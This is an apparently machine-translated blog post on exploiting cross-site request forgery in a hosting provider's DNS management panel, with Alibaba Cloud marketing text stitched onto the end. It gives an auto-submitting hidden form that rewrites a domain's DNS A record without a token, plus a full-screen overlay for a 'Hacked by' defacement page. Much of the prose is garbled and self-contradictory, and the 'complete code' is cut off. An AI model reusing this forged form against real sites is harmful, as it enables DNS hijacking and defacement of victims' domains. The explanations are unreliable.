CSRF uses tricks to forge a rollback
Let's talk about Csrf first.
CSRF (Cross-site request forgery, also known as "one click attack" or session riding, usually abbreviated as CSRF or XSRF, is a type of malicious use of websites. Although it sounds like XSS, it is very different from XSS, and the attack method is almost different. XSS uses trusted users in the site, while CSRF uses trusted websites by disguising requests from trusted users. Compared with XSS attacks, CSRF attacks are often less popular (so the resources to prevent them are quite scarce) and difficult to prevent. Therefore, XSS attacks are considered to be more dangerous than XSS attacks.
It can be said that it is based entirely on trust in a person
Let's look at how much harm Csrf has.
This is a CSrf in the host house. You do not need to verify the old password to change the new password. Csrf can be formed
How can I determine whether CSRF has a very simple token value or a refrer value that is empty?
Today we are going to talk about how to forge or bypass it. This is a normal form method.
<Form id = "post123" name = "post123" action = "method" method = ""> <input type = hidden name = "domainname" value = "xsectest. pw "> <input type = hidden name = token value =" "> <input type = hidden name = HostName [] value =" www "> <input type = hidden name = recordtype [] value = "a"> <input type = hidden name = Address [] value = "192.168.1.2"> <input type = hidden name = ttl [] value = "120"> <script> document. getElementById ('post123 '). submit (); </script>
It's actually very simple.
It is easy to construct a css to overwrite a global ifname.
<table style="left: 0px; top: 0px; position: fixed;z-index: 5000;position:absolute;width:100%;height:300%;background-color: black;"><tbody><tr><td style="color:#FFFFFF;z-index: 6000;vertical-align:top;">
The code is actually a CSS that covers the whole world. You can see the basic CSS knowledge of color or something.
Then we need a fake page and make a POST to jump regularly.
<H1> Hacked by destructionIn fact, it is very simple, but we need flexible ideas.
The complete code is as follows:
<Html> <table style = "left: 0px; top: 0px; position: fixed; z-index: 5000; position: absolute; width: 100%; height: 300%; background-color: black; "> <tbody> <tr> <td style =" color: # FFFFFF; z-index: 6000; vertical-align: top; ">
Start building with 50+ products and up to 12 months usage for Elastic Compute Service
1 on 1 presale consultation
24/7 Technical Support 6 Free Tickets per Quarter Faster Response
Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.
A comprehensive suite of global cloud computing services to power your business
Payment Methods We Support
